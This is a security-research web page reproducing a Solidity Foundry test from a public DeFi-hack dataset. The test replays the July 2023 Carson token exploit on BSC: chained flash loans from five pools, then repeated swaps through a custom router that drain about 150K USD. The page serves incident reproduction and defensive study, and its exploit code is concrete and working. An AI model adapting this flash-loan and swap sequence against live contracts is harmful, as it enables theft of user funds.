Public reproduction file

src/test/2023-07/Carson_exp.sol

Public reproduction file for dataset entry Carson.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2023-07/Carson_exp.sol99 lines

1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3 
4import "forge-std/Test.sol";
5import "./../interface.sol";
6 
7// @KeyInfo - Total Lost : ~150K USD$
8// Attacker : https://bscscan.com/address/0x25bcbbb92c2ae9d0c6f4db814e46fd5c632e2bd3
9// Attack Contract : https://bscscan.com/address/0x9cffc95e742d22c1446a3d22e656bb23835a38ac
10// Attack Tx : https://bscscan.com/tx/0x37d921a6bb0ecdd8f1ec918d795f9c354727a3ff6b0dba98a512fceb9662a3ac
11 
12// @Analysis
13// https://twitter.com/BeosinAlert/status/1684393202252402688
14// https://twitter.com/Phalcon_xyz/status/1684503154023448583
15// https://twitter.com/hexagate_/status/1684475526663004160
16 
17contract CarsonTest is Test {
18    IERC20 BUSDT = IERC20(0x55d398326f99059fF775485246999027B3197955);
19    IERC20 Carson = IERC20(0x0aCD5019EdC8ff765517e2e691C5EeF6f9c08830);
20    IDPPOracle DPPOracle1 = IDPPOracle(0x26d0c625e5F5D6de034495fbDe1F6e9377185618);
21    IDPPOracle DPPOracle2 = IDPPOracle(0xFeAFe253802b77456B4627F8c2306a9CeBb5d681);
22    IDPPOracle DPPOracle3 = IDPPOracle(0x9ad32e3054268B849b84a8dBcC7c8f7c52E4e69A);
23    IDPPOracle DPP = IDPPOracle(0x6098A5638d8D7e9Ed2f952d35B2b67c34EC6B476);
24    IDPPOracle DPPAdvanced = IDPPOracle(0x81917eb96b397dFb1C6000d28A5bc08c0f05fC1d);
25    // Closed source contract
26    Uni_Router_V2 Router = Uni_Router_V2(0x2bDFb2f33E1aaEe08719F50d05Ef28057BB6341a);
27 
28    CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
29 
30    function setUp() public {
31        cheats.createSelectFork("bsc", 30_306_324);
32        cheats.label(address(BUSDT), "BUSDT");
33        cheats.label(address(Carson), "Carson");
34        cheats.label(address(DPPOracle1), "DPPOracle1");
35        cheats.label(address(DPPOracle2), "DPPOracle2");
36        cheats.label(address(DPPOracle3), "DPPOracle3");
37        cheats.label(address(DPP), "DPP");
38        cheats.label(address(DPPAdvanced), "DPPAdvanced");
39        cheats.label(address(Router), "Router");
40    }
41 
42    function testExploit() public {
43        deal(address(BUSDT), address(this), 0);
44        emit log_named_decimal_uint(
45            "Attacker balance of BUSDT before exploit", BUSDT.balanceOf(address(this)), BUSDT.decimals()
46        );
47 
48        DPPOracle1.flashLoan(0, BUSDT.balanceOf(address(DPPOracle1)), address(this), new bytes(1));
49 
50        emit log_named_decimal_uint(
51            "Attacker balance of BUSDT after exploit", BUSDT.balanceOf(address(this)), BUSDT.decimals()
52        );
53    }
54 
55    function DPPFlashLoanCall(address sender, uint256 baseAmount, uint256 quoteAmount, bytes calldata data) external {
56        if (msg.sender == address(DPPOracle1)) {
57            DPPOracle2.flashLoan(0, BUSDT.balanceOf(address(DPPOracle2)), address(this), new bytes(1));
58        } else if (msg.sender == address(DPPOracle2)) {
59            DPPOracle3.flashLoan(0, BUSDT.balanceOf(address(DPPOracle3)), address(this), new bytes(1));
60        } else if (msg.sender == address(DPPOracle3)) {
61            DPP.flashLoan(0, BUSDT.balanceOf(address(DPP)), address(this), new bytes(1));
62        } else if (msg.sender == address(DPP)) {
63            DPPAdvanced.flashLoan(0, BUSDT.balanceOf(address(DPPAdvanced)), address(this), new bytes(1));
64        } else {
65            // Start exploit. Root cause of the exploit stem from the customized pair contract
66            // Info from Phalcon (see above). To be updated
67            BUSDT.approve(address(Router), type(uint256).max);
68            Carson.approve(address(Router), type(uint256).max);
69            BUSDTToCarson();
70            for (uint256 i; i < 50; ++i) {
71                CarsonToBUSDT(5000 * 1e18);
72            }
73            CarsonToBUSDT(Carson.balanceOf(address(this)));
74            // End exploit
75        }
76        // Repaying flashloans
77        BUSDT.transfer(msg.sender, quoteAmount);
78    }
79 
80    function BUSDTToCarson() internal {
81        address[] memory path = new address[](2);
82        path[0] = address(BUSDT);
83        path[1] = address(Carson);
84        Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(
85            1_500_000 * 1e18, 0, path, address(this), block.timestamp + 1000
86        );
87    }
88 
89    function CarsonToBUSDT(
90        uint256 amount
91    ) internal {
92        address[] memory path = new address[](2);
93        path[0] = address(Carson);
94        path[1] = address(BUSDT);
95        Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(
96            amount, 0, path, address(this), block.timestamp + 1000
97        );
98    }
99}

Analysis

Dataset entry

Public Foundry test for “Carson” (2023-07-26). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

23 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

src/test/2023-07/ApeDAO_exp.solSame month in the dataset · 103 lines
src/test/2023-07/ArcadiaFi_exp.solSame month in the dataset · 288 lines
src/test/2023-07/AzukiDAO_exp.solSame month in the dataset · 87 lines
src/test/2023-07/Bamboo_exp.solSame month in the dataset · 85 lines
src/test/2023-07/Bao_exp.solSame month in the dataset · 174 lines
src/test/2023-07/BNO_exp.solSame month in the dataset · 94 lines
src/test/2023-07/Civfund_exp.solSame month in the dataset · 250 lines
src/test/2023-07/CIVNFT_exp.solSame month in the dataset · 116 lines
src/test/2023-07/Conic_exp.solSame month in the dataset · 274 lines
src/test/2023-07/Conic02_exp.solSame month in the dataset · 131 lines
src/test/2023-07/Curve_exp01.solSame month in the dataset · 95 lines
src/test/2023-07/FFIST_exp.solSame month in the dataset · 80 lines
src/test/2023-07/GYMNET_exp.solSame month in the dataset · 148 lines
src/test/2023-07/Libertify_exp.solSame month in the dataset · 149 lines
src/test/2023-07/MintoFinance_exp.solSame month in the dataset · 104 lines
src/test/2023-07/NewFi_exp.solSame month in the dataset · 99 lines
src/test/2023-07/Palmswap_exp.solSame month in the dataset · 105 lines
src/test/2023-07/Platypus02_exp.solSame month in the dataset · 93 lines
src/test/2023-07/RodeoFinance_exp.solSame month in the dataset · 152 lines
src/test/2023-07/SUT_exp.solSame month in the dataset · 104 lines
src/test/2023-07/USDTStakingContract28_exp.solSame month in the dataset · 64 lines
src/test/2023-07/Utopia_exp.solSame month in the dataset · 86 lines
src/test/2023-07/WGPT_exp.solSame month in the dataset · 140 lines

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

Attacker
0x25bcbbb92c2ae9d0c6f4db814e46fd5c632e2bd3
Attack Contract
0x9cffc95e742d22c1446a3d22e656bb23835a38ac

Attack Tx
0x37d921a6bb0ecdd8f1ec918d795f9c354727a3ff6b0dba98a512fceb9662a3ac

File record

Name: Carson
Path: src/test/2023-07/Carson_exp.sol
Repository: SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit: 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob: 73da823fdd5ba9305b3cfa62ac900ea3f3e6651d
Language: Solidity
Size: 100 lines
Date: 2023-07-26
Licence: file header UNLICENSED; repository Apache-2.0
Retrieved: 2026-10-19

Provenance

Path src/test/2023-07/Carson_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 73da823fdd5ba9305b3cfa62ac900ea3f3e6651d, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.